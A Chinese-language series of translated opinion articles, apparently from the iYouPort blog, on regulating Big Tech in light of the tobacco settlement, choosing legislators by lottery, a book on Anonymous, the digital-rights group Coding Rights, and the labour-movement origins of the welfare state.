已经有很多证据支持这个结论。随着他们开始受到抨击，像 Facebook 这样的社交媒体网站已经接受了个人责任问题：他们给用

户提供了监控和规范自己习惯的工具，并转向强调一套不同的指标。

对 Facebook 来说，这就是减少对点赞和“网站时间”的关注，而更多地关注“有意义的参与”，比如参与当地市场团体和在线社区。苹果公司则给你提供“屏幕时间”（Screen Time）报告，追踪你的手机上瘾。

如果考虑到烟草巨头公司抵制更健康的香烟的前景，那么科技巨头则更恪守创造一种表面上不那么容易上瘾的产品。所谓的“数字卫生”的兴起首先得到了科技创业者的拥护，这很能说明问题。

在科技界反垄断立法方面的杰出声音之一 Tim Wu 所著的《注意力商人》（The Attention Merchants）一书的评论中，Ben Tarnoff 描述了 Wu 的数百页富有洞察力的政策分析是如何以一篇针对注意力经济的道德化论文来结束的—— 这只是对媒体的批判，自电子游戏、电视、广播、小说，甚至印刷品出现以来，这种批判一直在重复。作为政治信息传递，这些产品的日常破坏性效果无疑是令人回味无穷的。但是 Wu 的技术决定论认为，这些工具必然是有害的，而不是说这种伤害是社会过程的产物，利润空间推动了平台的某些使用。这一点，终究与 Kendall 在国会证词中复兴MSA时采用的成瘾性叙事是无法区分的。

也许烟草巨头的类比中最令人失望的部分与和解的结果有关。虽然这是一个具有里程碑意义的案件，但是，审判几乎没有作为一个正义的光辉标志而结束：烟巨头司继续每年向各州支付医疗费用，和解协议中捆绑了对广告、游说和分销的新限制，但它也受到了一系列令人惊讶的人物的批评。

该和解协议是反吸烟组织的主要争议问题，他们指出，只有一小部分费用被用于反吸烟和公共卫生运动。这些钱的去向并不总是美好的。在加州，MSA的资金被用于支付针对洛杉矶警察局的警察权力滥用诉讼所产生的法律费用。在密歇根州，去年的资金中有很大一部分被用于公私合作。由于对各州如何使用和解资金并没有限制，它基本上成为了参与诉讼的四十六个州的收入来源。

此外，MSA还允许将成本转嫁给香烟消费者。实际上，它充当了一种额外的累退销售税，这意味着，就像一般的香烟税一样，它继续不成比例地影响穷人。

这是一个由卡托研究所等机构提出的问题 —— 卡托研究所并不是一个加入吸烟区对话的最佳人选 —— 他们基本上赞同芝加哥学派的观

点，即：价格高于一切，应该是反垄断制度的基础。

一项研究甚至发现，**MSA**根本没有损害被告烟草公司的财务状况 —— 事实上，这些烟草巨头的价值在和解后甚至还有所增长了。吸烟者继续吸烟，而各州现在依靠烟草公司的伟大成功来维持源源不断的油水，投资者和贷款人觉得风险比和解前更小了。

ProPublica 和 Marketplace 的联合调查研究了金融机构开始为各州政府发行 “资本增值债券” 的方式，以此让这些政府提前拿到和解金，而不是等待年度付款。

换句话说，MSA被证券化了，变成了高风险的债务，在这个过程中只是让私人投资者致富。2014年，每三块钱的结算款中就有一块钱归投资者所有。具有讽刺意味的是，随着美国吸烟者比率的持续下降，情况只会变得更加不稳定—— 烟草公司的收入减少意味着每年结算支付的资金减少。

我们必须从MSA的错误中吸取教训。我们不仅有机会监管一个 “净伤害” 市场，而且有机会将影响我们生活的技术重新想象成一种公用事业—— 一种公有的、负责任的和民主的技术。

当当前的反垄断模式试图应对数字经济时，我们也可以思考反垄断如何帮助我们进行大规模的经济规划和管理。关注经济权力集中的非营利组织 “地方自力更生研究所” 的高级研究员 Ron Knox 指出，亚马逊有效地从其平台上产生的任何收入中获取了一部分，“成为了这个本应由民主管理的过程的市场全能守门人”。此外，即将到来的审判也是一个机会，可以谈论科技行业内的有组织劳工；一万一千多名 Facebook 内容审查员所面临的辛劳，他们因工作而产生抑郁症、成瘾和心理健康问题；以及无数因亚马逊的无限提取式商业行为而受苦的社区。

如果科技巨头的诉讼将成为法庭神话的素材，并重振民粹主义对反垄断的支持，那么就需要有一个总体的正义和力量的愿景，能够有效地对这个行业进行清理。

Facebook 的反垄断新闻是有希望的，诉讼中触及到该社交网络对其他科技公司的收购如何为他们提供了大量的数据权力，同时也让 Facebook 在广告市场上获得了至高无上的优势；这也是科技巨头如何重塑经济的核心部分。

所谓厄运滚动的问题不在于滚动，而在于厄运 —— 对我们的可能性

被预设、我们的生活变得更加不稳定的绝望；平台经济提供的解决方案，只能让已经无处不在的监控变得更加泛滥，让不平等变得更加具有破坏性。

无论是缓解成瘾还是技术修复，都不能作为反对科技巨头的监管论点的基础。要想象一个超越平台巨头的世界，至关重要的是，我们必须着眼于重新分配和民主控制我们现在所依赖的基础设施的原则。将烟草巨头的策略与科技巨头相提并论可能是一种有用的修辞手法，但是，值得考虑的是，MSA的哪些部分实际上值得复制，哪些部分值得淘汰。〇

Smoke Gets in Your Eyes

原文

投票可能正是民主的问题？

社会运动和公民社会

这是一个正在流行的观点，顺便推荐一本书；并非创新，而是复古。作者是南佛罗里达大学政治学教授 Bernd Reiter

「图」

我们原文翻译。因为，这已经是一个很明显的问题。正如您所了解的，数字时代的政治操纵有多么的容易，从对选民的心理操纵到对民主本身的操纵。大数据已经毁掉了民主的实质。而这一切的根源在于，选举。

在全球范围内，许多民主国家的公民都在担心他们的政府没有按照人民的意愿行事。

当选民选出代表参加民主运动时，他们希望自己选出的是能够理解和回应选民需求的人。

美国代表平均每人拥有超过700,000名选民，即使带着最好的意图，这项任务也越来越难以捉摸。结果是，"只有不到40%"的美国人对他们的联邦政府感到满意。

在欧洲、南美、中东和中国，大量的社会运动都在要求更好的政府，但是，都没能得到真正和持久的结果。

在从事民主、公民权和种族问题的工作中，我从过去到现在一直在研究民主创新。在我的新书《自由民主的危机和前进之路：政治代表制和资本主义的替代品》中探讨了一个问题，即 麻烦可能实际上来自于民主选举本身。

我的研究表明，另一种方法 —— 随机选择公民轮流执政 —— 有望振兴陷入困境的民主国家。

这样可以使他们对公民的需求和偏好更加敏感，也不太容易受到外界操纵。

「图」

The Bouleterion of Athens, where the randomly selected members of the Council of 500 met. Jerónimo Roure Pérez/Wikimedia Commons, CC BY-SA

从头说起

民主始于自治，普通公民轮流参与公共事务。在古代雅典，民主要求许多小时的公共服务和积极参与。对所有40,000名成年男性公民开放的公众大会，每年开会40次，讨论法律。

但是，即使在这样一个很小的社会中，也需要将一些权力下放给较小的群体。行政部门和法院均由每天开会的500名成员组成。这些机构成员都是随机选出的公民。

而最近的民主社会，特别是那些受到美国模式启发的民主社会，更青睐精英统治。

詹姆斯·麦迪逊（James Madison）在第63号联邦制文件中主张将普通民众排除在政治权力之外，而支持当选代表，他认为这样做比较明智。

麦迪逊和创始人亚历山大·汉密尔顿（Alexander Hamilton）担心“暴民”统治太多，以至于他们反对参议员和总统的直接选举。

1913年，宪法第17条修正案改变了参议员的选举方式，但选举团依旧保留下来了。

随着时间的流逝，美国人开始接受精英阶层的这一统治模式。他们退回到了自己的私人生活中，仅从事个人和专业业务，而把公共事务"留给了其他人"。

大量的学术研究已经记录了这种对政治的大范围漠视是如何导致了"对公众舆论的操纵"、以及经济精英和企业利益集团的"大规模权力滥用"。

幸运的是，在2500年的民主经验中可以找到一些解决方案。

「图」

A member of Congress makes a phone call – is a donor, a lobbyist or a constituent on the other end of the line? AP Photo/J. Scott Applewhite

摆脱长期官员

长期当选的官员可以巩固知识、权力和对他人的影响力。

国会议员只花更多的时间与捐助者和游说者在一起，以及花时间在连任和为政党筹集资金上，而不是与选民在一起。

对连任的自私的关注使他们无法全力为公众服务。

罗马共和国限制人们一生中多次担任公职。任期结束后，每个人都必须公开说明自己在任职期间的行为。这与从小型地方办事处到州立法机关再到国会及其他地方的美国标准政治道路相去甚远。

「图」

让所有人在本地参与

对于当地事务，公民可以直接参与当地决策。在佛蒙特州，3月的第一个星期二是城镇会议日，这是一个公共假期，在此期间，居民们聚集在市政厅讨论和商议他们希望解决的任何问题。

在瑞士的一些州，城镇居民每年在 Landsgemeinden 举行一次会议，选举公职人员并讨论预算。这是最古老的直接民主。

30多年来，世界各地的社区都在通过“参与式预算”这一过程来让普通公民参与到如何使用公共资金的决策中来，该过程涉及公开会议和邻里协会的参与。多达7,000个城镇通过这种方式分配了至少部分资金。

纽约大学的治理实验室已将众包服务带到了一些城市，这些城市通过一种称为 “crowd-problem solving” 的过程来寻求一些最紧迫问题的创新解决方案。

社区中的所有居民都可以参与、集思广益的想法，并选择可行的方法，而不必将问题留给少数官僚和专家。

数字技术使大批人更容易了解和参与潜在的公共问题解决方案。例如，在波兰港口城市格但斯克，市民能够帮助选择减少洪水造成的危害的方法。

随机选择代表

在较大的群体中，例如国家和国际治理，我认为值得回到雅典选拔代表的方法：通过随机选拔，而不是通过选举。

与古代一样，这使普通民众可以"直接参与"政府活动，并削减了特殊利益 —— 游说者和财政捐助者的影响。

「图」

斯坦福大学的政治学家詹姆斯·菲什金（James Fishkin）称这种想法为“审议式投票”的一种变体，它涉及随机选择的公民，这些公民将获得专家信息和在讨论中的指导。

在90年代，这种方法已经导致八家德克萨斯能源公司采用了美国最先进的风能政策。

2016年，爱尔兰召集了99名随机选出的公民，并由一位国家最高法院法官担任主席。他们的任务是研究该国面临的主要问题，包括堕胎、人口老龄化和气候变化，并向国家报告。

在考虑改革选举制度时，荷兰和蒙古以及加拿大的不列颠哥伦比亚省和安大略省都是"随机选择"公民来辩论这些问题的，而不是举行选举。

所有这些使我得出一个结论，即 公众认为是最佳的政治决定不是由专业政治家做出的。

相反，随机选择的普通公民 —— 并给予了时间、必要的信息和空间 —— 可以彼此倾听和辩论，更适合做出这些决定，同时获得有关政治的实践经验，并同时与广泛的政治疏远作斗争。

此外，在必要时召集议员的随机选择，阻碍了专业政治人士的出现，并削弱了任何人竞选公职的必要性。个人财富和竞选捐款将是无关紧要的。

媒体操纵也将毫无用处，因为没人会事先知道将要选谁，因此没人会宣传自己的功绩或攻击对手。

每个公民都可以表达真实的声音、而没有特殊利益和虚假假信息的体制；对我来说，这听起来像是真正的民主。〇

Voting could be the problem with democracy

原文

推荐一本书：对匿名协作的研究 - iYouPort

免费书和纪录片社会运动和公民社会

这是关于黑客、恶作剧者和活动家的全球运动的终极研究，以 Anonymous 为例，就如赫芬顿邮报所评论的：展示了“所有匿名者所了解的最深刻，最黑暗的秘密。”

「图」

「图」

半年前，人类学家 Gabriella Coleman 开始研究这一全球现象的兴起，当时其一些成员转向了政治抗议和危险的破坏（在匿名者成为 Wikileaks、阿拉伯之春和占领华尔街之战的关键人物之前）。她最终与 Anonymous 的关系如此密切，以至于那些棘手的故事最终形成了这本幽默诙谐而且完全引人入胜的著作的主题之一。

在这里下载这本书 ： https://t.me/iyouport/6699

叙事的边缘出现了一个臭名昭著的神秘亚文化，半传奇的骗子 — 如 Topiary，tflow，Anachaos和 Sabu — 错综复杂、多样化、政治和文化丰富的人群。经过多年的交流和与众多黑客的接触，包括被监禁的活动家 Jeremy Hammond 以及帮助他离开的双重间谍 Hector Monsegur，《Hacker, Hoaxer, Whistleblower, Spy》这本书充满了洞察数字行动主义的意义和对互联网时代文化的鲜明理解，包括“Trolls”的历史、黑客的伦理和起源，以及“lulz”的多种含义。

Julian Assange 评价为对匿名者组织最好的简要理解。美国政府及其盟友多年来一直在谴责、起诉和监禁匿名者成员，美国国家安全局局长甚至警告说匿名者领导的权力颠覆的可能性。

但是，加布里埃拉·科尔曼（Gabriella Coleman）迷人的匿名者历史讲述清楚地表明，几乎所有这些都归因于这个全球集体的黑客主义致力于揭露不法行为，而不是破坏性，她也仔细地表明了匿名者并不是一个阴暗的组织，而是一个松散的全球各地的积极活动人士的集合，他们努力争取的是政府和企业的透明度。

国家安全局对匿名者组织成员的处理是令人不安的和极端的，匿名者组织令人惊讶的活动家们已经转变为令人振奋。

Hacker, Hoaxer, Whistleblower, Spy The Many Faces of Anonymous

原文

数字时代的人权：技术应该成为你最好的盟友，而不是最大的敌人 - iYouPort

社会运动和公民社会

> 翻译这篇文章让我们感觉很兴奋，字里行间透露着巴西这一数字时代人权组织积极的、充满活力的工作态度，并给了我们很多启发。我们曾经在很长一段时间内面向的是虚无主义盛行的社会环境，虽然我们的主旨是打破虚无，但也在一定程度上潜移默化地感染了这种情绪，非常痛苦。Coding Rights 组织的技术人士们让我们看到了希望，体会到在这场数字时代人权争夺战中扎实的技术实力和乐观地应对困难的工作态度是何等重要。感谢全球数字权利捍卫者们坚持不懈的努力，你们提供了这个时代最重要的价值。

「图」

"Derechos humanos en la era digital: la tecnología puede ser tu mejor aliada o tu peor enemiga"

Joana Varon, Directora de Coding Rights, explica sus técnicas para defender los derechos humanos de manera innovadora y audaz.

信息就是力量。虽然很多年来，这一短语的含义不断被补充，但其中心意义从未改变。对此，一群女性技术工程师决定把她们的所有智慧、热情和知识，“转译为代码”。

这是 Coding Rights 的一个主题。Coding Rights 是在 2015 年创建的组织，它将自己标识为“思考与行动”，其重点是加强数字世界的人权。

如何实现这一目的？将新技术的使用和理解集成到公共政策的制定中，并谴责那些使用这些数据资源的公司，以适当保护用户的隐私。

“我们创建应用程序，详细阐述内容，我们传递复杂的想法，以便它们可以在全世界被同化，”该组织的创始主管 Joana Varon 告诉 IFEX。

Varon 是巴西研究人员，技术专家、数字安全和隐私问题的活跃人士。律师专业的 Varon 毕业于国际关系专业，2017年 她是被 Mozilla 基金会选中的15人之一，负责开展一项旨在“让互联网更健康更美好”的研究。

她的思想中的一个中心是：“以可访问和可理解的形式接触人们”，当谈到“安全和数字监视等问题”时，主张“假设一直存在挑战”。

“我们有三个方面的工作：一是要研究技术，它的实施和它们对基本人权的影响形式。二是翻译这些研究成果，让更多的人和其他的社会运动了解这些知识，并知道技术问题是横向的，并且与当今几乎所有的社会运动（环境、性别平等、反歧视等）均有关。第三，随着这一进度，人们被动员起来并意识到，看看我们可以创造什么样的代码，令其确实具有在当下更为充分的价值”，研究人员和活动人士解释说。

如果到此为止已经是一项复杂的工作，那么在提高与数字时代人权问题有关的意识方面，则是更为艰难。

“这不是一个简单能解决的问题。从编码开始我们就不会使用表面化的观察方法来诠释数字安全，我们需要更为深刻的理解。而且一直有这样的感受”，Varon说。

律师了解到的信息显示，去年在拉丁美洲，个人数据、隐私和互联网意识方面已经发生了“好的转变”。剑桥分析公司丑闻等案例和其他可能影响美国等国家选举结果的案例，有助于人们“理解他们的数据具备何等的价值”，并“更加关注”自己在网络中的数据管理。

SaferNudes

Varon 的关键理念是将安全和监视系统的复杂机制“翻译”成容易被人们感受其影响的具体事物的可能性。

“人权、数字权利这些问题往往被人们认为不会直接对个人形成影响，为了引起真正的重视，我们必须寻求创新的方案来讨论这些问题，”她说。

这就是 Coding Rights 组织诞生的原因，他们提出了“将人权转换为编

程代码”的想法。

第一批项目因其独创性和争议脱颖而出：“SaferNudes”是一项倡议，通过具体建议的实用指南，寻求您可以拍摄所需的所有裸体照片的权利，但如果您正在寻找的是如何保护照片的匿名性，则同样可以在这里实现。“我敢说我们中很多人几乎每天都会发送和接收这样的照片，我们也相信，通讯隐私权是必需的人权，发送和保存这样的照片的决定权应该由您亲自掌握”，该项目说。

这一思路贯穿了 Coding Rights 创建的每一个项目。另一个例子是关于反监视和数字安全的通讯。

El ChupaDatos

在最黑暗的夜晚阴影中有一些阴险的东西，在拉丁美洲的偏远小镇引发恐惧。传说中的吸血动物卓柏卡布拉通过吸食人类和动物的血液生活，这一传说几十年来一直是成人和儿童的恐惧。

在它的名字的基础上，Varon 和他的团队创造出了 Chupadatos 这一新的虚拟形式的存在，这个虚拟怪兽需要的血液就是你我的数据。

“Chupadatos 是另一个举措，帮助我们讲述这些故事，并大规模传播，它是连接社会和技术非常有效的方法。通过与传统文化接轨，将隐私理念让更多人深刻领悟，将技术投入到为人权的服务中“，Varon 说。

“Menstruapps”计划中探索了与性有关的隐私权，该计划通过对诸多与生育和生理期相关的应用程序进行调查，以发现用户被收集的大量数据。

在 Chupadatos 开发的其他项目里，故事被连接到里约热内卢的方方面面，为人们提供各方面的满足。“我们的想法是，人们理解这种数字世界的商业模式后就能意识到它可能是风险的存在，不论是这些数据被泄漏的危险，还是被滥用的风险。

目前编码权工作正在进行的项目是“Safer Sisters”，这是一个数字女性主义运动，以 GIF 形式传播建议，以保护女性在数字时代的安全。

“我们喜欢鼓励人们阅读关于数字安全的完整指南，以意识到所有的危险，但我们也明白，并不是每个人都会阅读完整的指南，我们必须提出具体的行动，只需点击一下即可让人们采取的行动。”

需要明确的一个重点是：以编码权利为基点，解决所有角度上可能出现在新的通讯方式领域上的老难题：间谍、勒索、个人数据的滥用、侵犯权利...等。

她说："我们一直在尝试这类转化，作为一种桥梁，将隐私和监控的专业性语话转变为大众日常的实践"。

未来：为确保人权而设立的守则

对于Varon来说，编码权的未来就是要尊重它的名字并创建代码，开发"另一种价值"的技术。 维护人权的观念应该具有"女权主义和平等主义的观念"。

"从技术概念中获得保障的可能性，这与我们传统的范式是不同的"，Varon说。

"我们今天使用的技术，甚至互联网本身与连接的核心价值开发，都是极为重要的，但我们意识到，如果您不考虑其他潜在负效应（如隐私权）来保护您的数据安全，您将无法享受到这些价值"，她说。

今天还有一些项目可以实施：比如一个叫 radar legislativo 的项目。

联盟，大胆和灵感

Coding Rights 还寻求在非洲大陆的其他组织作为战略合作伙伴，以推动其创新想法。 "我们一直在寻找能够提供创意并能够接触更多人群的合作伙伴，"她说。

"我们希望把新出现的问题，如假新闻、或使用在选举中的个人数据等的应对方法，以区域的视角应用到我们的地区"，她说。

在 Coding Rights 工作的组织中有几个 IFEX 成员：阿根廷民权协会、哥伦比亚卡里斯马基金会、和智利数字权利组织。

我们与这些组织的代表讨论了如何使用编码权利：

"与编码权利我们已经多次合作，我认为定义 Joana 和编码权利的最佳方式是'大胆'。他们不害怕探索处理人权和技术问题的新观点或新方法。而且在一个往往是过于自我指涉的生态系统中，我认为这是非常重要和鼓舞人心的"，数字权利倡导总监 Vladimir Garay 说。

"编码权是行动主义和数字版权环境下该地区最有吸引力的项目之

一。他们对如何解释一些相当复杂的问题有着非常新颖的看法。交流方式非常直接，青春充满活力。而且他们有一个很有趣的性别观。我们一起对 Chupadatos 和另一个项目的网页进行了分析，“ Karisma 基金会的 Carolina Botero 说。

与 Varon 和编码权利合作“令人兴奋，”Botero 补充说，该组织“行动非常快”，反应敏捷。

ADC 公共政策分析师 Eduardo Ferreyra 表示，她一直在处理个人数据问题。“他们非常专业，并且最特别的是他们试图以非常原始的方式传播他们的研究成果。他们以艺术为媒介传播他们的发现。”

Coding Rights 项目目前在非洲大陆正迅速增长，从这些积极人士的团队中诞生了走向更自由、更平等、更宽容的拉丁美洲的希望。

原文

是反抗者的斗争建立了福利国家，而不是哪个"善良的统治者" - iyouport

社会反抗和思考社会运动和公民社会

羡慕西方的福利国家吗？那么，知道它是如何得来的非常重要；尤其是，如今它为何衰落。本文是中国的劳工反抗者有必要了解的知识。

福利国家，在其不同的版本中，被誉为西欧劳工运动的最大成就之一。这并不奇怪：福利国家代表了人们的一般生活和工作条件的巨大进步。随着福利国家在20世纪的兴起，健康、预期寿命和社会保障在一个相对较短的时期内得到了巨大的进展。

然而，在过去的几十年里，福利机构和服务受到了越来越大的压力。现在的问题是，福利国家是否能在目前的右翼政治项目—— 新自由主义攻势中幸存下来。在这里，劳工运动内部和外部的观点大相径庭。其中一些人认为，福利国家的主要机构尚且完整，自1980年以来所进行的放松管制和调整基本上是必要的，以便为新时代的福利国家做好准备。

而其他人，包括我自己，认为福利国家已经受到强大的经济和政治力量的巨大压力和攻击。重要的政治监管措施被拆除，公共养老金被削弱，进入公共福利机构的机会被缩小，全民计划被经济状况调查所取代，用户缴费的规模和范围不断增加，私人经济利益侵入了关键领域。换言之，福利国家的存在受到了威胁。

然而，围绕福利国家危机的讨论往往有点简单化了。讨论整个福利国家的概念时，往往忽略了它的社会和历史渊源，以及首先使它成为可能的权力关系。如果我们真的想掌握福利国家的潜力和前景，对这种特殊的社会模式进行更深入的调查是至关重要的。对于澄清对福利国家的理解和分析同样至关重要。

劳工运动的兴起

「图」

首先需要确定的是：福利服务的质量和水平是一个经济、社会和政治权力的问题。工会运动的出现，与其他民众运动的联合，以及他们几十年来与资本和商业利益的斗争，通过市场监管、公共所有权和对基本基础设施的民主控制，创造了新的权力关系。这给了人们普遍的、高质量的社会保护和公共服务。

然而，福利国家也是一个非常具体的历史发展的结果，它以一个制度化的阶级妥协而结束。十九世纪末和二十世纪初，工业化资本主义国家的社会对抗占据了主导地位。普遍的罢工和停工，对反抗的工人使用警察和军事力量进行镇压是很常见的。人们在这些对抗中受伤甚至被杀—— 这种状况在斯堪的纳维亚半岛非常突出，尽管该地区被广泛认为是当今世界上 “社会最和平” 的地区。

如何您错过了《一路的腥风血雨：劳工运动不为人知的故事》

而后，随着劳工组织变得更加强大，他们在社会斗争中逐渐获得了地位，并日益成为对资本利益的潜在威胁。当运动的很大一部分在政治上打破它与自由主义的旧联盟，作为结束资本主义剥削的手段时，这个过程得到了巩固。对更多系统性变革的要求也相应增加，并为阶级妥协准备了条件。

在更广泛的政治格局中，一个重要的特征是，当时在苏联和东欧存在着一个竞争性的经济体系。正如历史学家埃里克·霍布斯鲍姆指出的那样，这有助于使西方的资本家接受与劳工达成协议的必要性。

而当下的资本主义没有任何外部竞争的存在，在这里看到《收益递减：在内卷的世界里思考全球资本主义》

需要注意的是，福利国家在创建之前从来没有成为劳工运动的明确目标。当然，既定的目标是社会主义。正是对社会主义的恐惧促使资本家阶级让步 —— 这种情况在俄国革命后有所增加，并且在战时和第二次世界大战期间达到了高峰，因为左翼在反法西斯斗争中发挥了突出作用，整个社会形成了赞成社会变革的共识。

1930年代是一个历史性的经济危机和贫困时期。1940年代，大规模屠杀使社会在本世纪第二次分裂。在这之后，政治被民众对和平、社会保障、充分就业和对经济的政治控制的要求所左右。这是布雷顿森林会议的背景，随后达成的协议构成了战后经济秩序的基础，即：不受监管、饱受危机的资本主义必须结束，因为如果它不结束，力量的

失衡意味着资本主义本身可能会倒下。正是在凯恩斯主义的管制资本主义模式下，福利国家的社会和经济基础才得以建立。

资本的权力被削弱，有利于政治选举的机构；通过对市场的政治干预，竞争被抑制了；资本控制被建立起来，金融资本受到重大监管。这使得政府有可能推行国家和社会发展的政策，而不至于不断受到资本的勒索—— 那些大公司威胁说，如果他们的利益受到损害，就会搬到其他条件更有利的国家。

如果您错过了《为什么选票无法帮你改变糟糕的现状？真正改变应该来自哪里？：权力的杠杆》

通过大力发展公共部门和福利国家，经济的很大一部分被完全从市场中剥离出来，由政治和民主决定。这是福利国家最激进的优势，在提供更好的工作条件方面，对市场力量的普遍驯服甚至比劳动立法更重要。是社会力量的特殊平衡，而不是妥协精神本身，使福利国家成为可能。

社会契约

「图」

在更传统的说法中，阶级妥协被称为 “社会契约”。虽然它基本上是战后的产物，但其最早的根源可以追溯到20世纪30年代，当时欧洲北部的工会运动与雇主组织达成了协议 —— 这种做法在第二次世界大战后被大多数西欧国家所效仿。从一个以劳工和资本之间的激烈对抗为特征的时期，进入了一个社会和平、双方和三方谈判、以及共识政策的阶段。正是劳工和资本之间的这种社会契约框架内的权力平衡，构成了福利国家发展的基础。

此时，全球资本主义经历了二十多年的稳定而强劲的经济增长。这种增长使劳工、资本和国家或公共部门之间更容易分享社会剩余。雇主和他们的组织在这个时候开始接受他们无法彻底击败工会的事实。他们必须承认工会是工人的代表，并与其进行谈判。换句话说，劳工和资本之间的共栖关系只依赖于强大的劳工运动的基础 —— 一旦工会再次变得脆弱，资本就开始探索打破契约的战略。

同时，在劳工运动中，对前进的道路存在着意识形态和政治上的争论。更为激进的或革命的潮流希望将所有权和生产社会化，而更为温和或改革主义的潮流则旨在通过监管和改革来限制资本的权力。虽然是更激进的力量首先使资本相信有必要进行交易，但是，随着时间的

推移，温和的力量—— 他们逐渐认为自己的作用不是代表劳工进行斗争，而是维护社会和平 —— 上升到了主导社会民主主义传统及其政党、工会和机构的地位。

这些温和派中的许多人开始相信，社会已经达到了更高的文明水平；或者说，“无危机的资本主义” 已经成为现实。不会再有大规模的失业，财富集中在富人和特权阶层手里，或劳动人民的痛苦那种东西了。也许没有人比工党的安东尼·克罗斯兰更能代表这种趋势的了，他在《社会主义的未来》一书声称，“传统的资本主义已经被改革得几乎不复存在”。随着国民健康服务等巨大的新社会项目的受益，社会伙伴关系的意识形态有了物质基础，这种意识形态在西方劳工运动中根深蒂固，直到现在也是如此。

但双方都做出了妥协。对工会运动来说，社会契约意味着接受资本主义的生产模式，一个仍然由私有制和雇主领导劳动过程的权利所支配的经济。作为对福利和工作条件方面收益的交换，工会被期望保证工业和平和对工资谈判的克制。简单地说，福利国家和生活条件的逐步改善是劳工运动的主导部分以放弃其更大的变革目标为交换条件而实现的。

回过头来看，似乎很清楚，资本家更明白社会契约的性质是交战派别之间的休战，而不是可以无限期维持的伙伴关系。他们利用它来赢得时间，嵌入新的消费意识形态，并在劳工运动中抑制反抗情绪。

然而，也必须承认，由于在福利、工资和工作条件方面的重要成就，社会契约获得了工人阶级的大规模支持。这一点，加上冷战时期广泛的反共主义，使得激进挑战难以持续。

由于这种态势，劳工运动的主导部分越来越多地把社会进步看作不是斗争的结果，而是社会和平以及与和解的资本主义 “阶级合作” 的结果。这导致了劳工运动的非政治化以及其领导层和工作人员的官僚化。当时，工会和社会民主党的历史角色就是执行这种阶级妥协的政策。而随着时间的推移，它们都萎缩了—— 从工人阶级的群众组织过渡到了劳工和资本之间的官僚调解人。这代表了社会民主主义全盛时期结束的开端。

新自由主义攻势

「图」

随着第二次世界大战后经济重建的结束，战后经济模式遇到了越来越

多的问题。停滞、通货膨胀和利润挤压成为普遍现象。在这些国际危机的刺激下，资本主义势力为了恢复盈利能力而展开攻势，逐渐退出社会契约，并引入更多的对抗性政策。新自由主义时代开始了，企业在1980年代获得的政治和意识形态霸权被用来实施私有化、去工业化和放松管制的系统性工程。

如果您错过了《新自由主义的香港向世界讲述了一个什么样的故事？》

> 资本家准确地理解到社会契约的本质是交战派别之间的休战，而不是可以无限期维持的伙伴关系。

尽管危机持续了整个十年 -—— 在英国，通过保守党和工党政府、国际货币基金组织的干预，以及所谓的“不满之冬”，工会运动仍在努力适应。从和平到代表资本的对抗的转变，在其领导层的以共识为导向的社会契约意识形态中是不可理解的。这也表现在它没有能力处理新的基层活动，因为工人从下面直接组织起来抵抗对他们条件的攻击，这将预示着一个新的时代。

【注：不满之冬Winter of Discontent，是指大约从1978年12月到1979年2月冬天期间，发生于英国的一连串工业行动，事件造成首相詹姆斯·卡拉汉的工党政府声望急挫，随后更在1979年5月的国会大选遭戴卓尔夫人领导的在野保守党击败。不满之冬是英国政府管治方针更迭的一个分水岭。】

历史上的阶级妥协的破裂也导致了社会民主的政治和意识形态危机。左翼确实提出了替代方案：1971年，瑞典的LO工会联合会提出了Löntagarfonderna，即 工人拥有的基金，将接管大型公司的大部分股票。在英国，托尼·本尼（Tony Benn）利用他的部长职务，在失败的公司中开创了工人合作社，然后提出了一个更激进的经济民主化的计划。

但也许唯一有实际突破的地方是在法国。1981年，弗朗索瓦·密特朗赢得了总统选举，他的方案是在1972年制定的，反映了左翼对那十年危机的反应：提高最低工资，减少工作周，增加假期，征收富人税，以及扩大工人的工作场所协商权。不幸的是，这种独特的反新自由主义实验并没有能持续下去，在国内和国际金融利益的压力下，密特朗执行了一个转折—— 宣布他的 tournant de la rigueur，即 转向紧缩政策。

大多数社会民主党并没有试图反击。事实上，他们出乎意料地迅速适

应了占主导地位的新自由主义议程，仅仅提出了比右翼政策还要柔和的替代方案。

累积的结果是对福利国家经济学基础的侵蚀：资本管制的废除，市场的放松和自由派化，财富的重新分配和高度集中化，公共服务的私有化，劳动力的缩减和随之而来的劳动强度的增加，以及劳动力市场的灵活化。

因此，这里所面临的不是偶然或暂时的挫折，而是社会发展的根本变化。劳动力和资本之间的力量平衡发生了巨大的变化 —— 这次是有利于资本的。大型跨国公司凭借其新近获得的不受民主监管和控制的自由，一直处于这一发展的最前沿。社会契约的共识政策已经逐渐被经济所取代，其阶级关系开始倒退到更类似于福利国家之前的状态。

长期以来，左翼的反应是呼吁新的阶级妥协。劳工运动仍然怀念社会条件逐步改善的时代。人们希望1960年代的工业和平能够回归，并作为伙伴重新回到谈判桌前。但那些日子不会再回来了。劳工是软弱的，资本也知道这一点，而且没有激励人们经常呼吁的社会对话。想要捍卫公共服务和福利国家的力量将不得不以反攻来应对资本家阶级的攻击。更多的对抗即将到来，最好做好准备。

现在怎么办

「图」

今天的劳工活动家应该诚实地问自己：为什么福利国家现在受到攻击和破坏？什么地方出了问题？显然有一些教训。

首先，社会契约不是一个稳定的局面。它是在具体的历史情况下的妥协，资本主义制度的主要特征仍未改变。从劳工运动的角度来看，一些本来可以被认为是重要的短期战术性妥协的东西变成了长期战略目标。这是一个划时代的错误，它决定了抵制新自由主义的失败。与其说福利国家是迈向更基本的社会解放的一步，不如说它逐渐成为历史的终结—— 对我们来说比对他们来说更重要。

第二，社会契约的意识形态本身就是完全错误的。可以有不同种类的资本主义 —— 但它的基本原理始终如一。不可能有对经济的民主控制，它不可能没有危机，阶级战争不可能结束。这些都写进了一个基于私有制、利润动机和资本无情扩张欲望的经济体系的DNA。

第三，由于误解了制度的性质，劳工运动被新自由主义的攻势吓了一

跳。许多工会和劳工运动的领导人没有动员工人阶级来捍卫通过福利国家赢得的成就，并将社会斗争推向前进，而是被推到了防线上，坚持“社会和平和对话”，坚持谈判让步，并把自己变成了新自由主义项目的一部分 —— 事实上，直到1990年代，社会民主党取得了右翼政党都无法取得的改革“成就”，因为他们有能力约束劳工。

二十世纪的福利国家的缺陷在于它走得不够远。私有制的集中形成了一个坚实的权力基础，阻止了任何经济的民主化—— 资本的堡垒，从这里可以对工人运动、社会进步和公共产品发起攻击。这正是我们自70年代以来所见证的。

现在是对抗新自由主义和资本力量增强的时候了。没有其他方法可以打破这个循环。今天，越来越多的人意识到，新自由主义模式不仅代表着资本的进攻，也代表着它的弱点、脆弱性、庸俗性和内部矛盾。资本主义及其全球机构正经历着一场旷日持久的合法性危机。

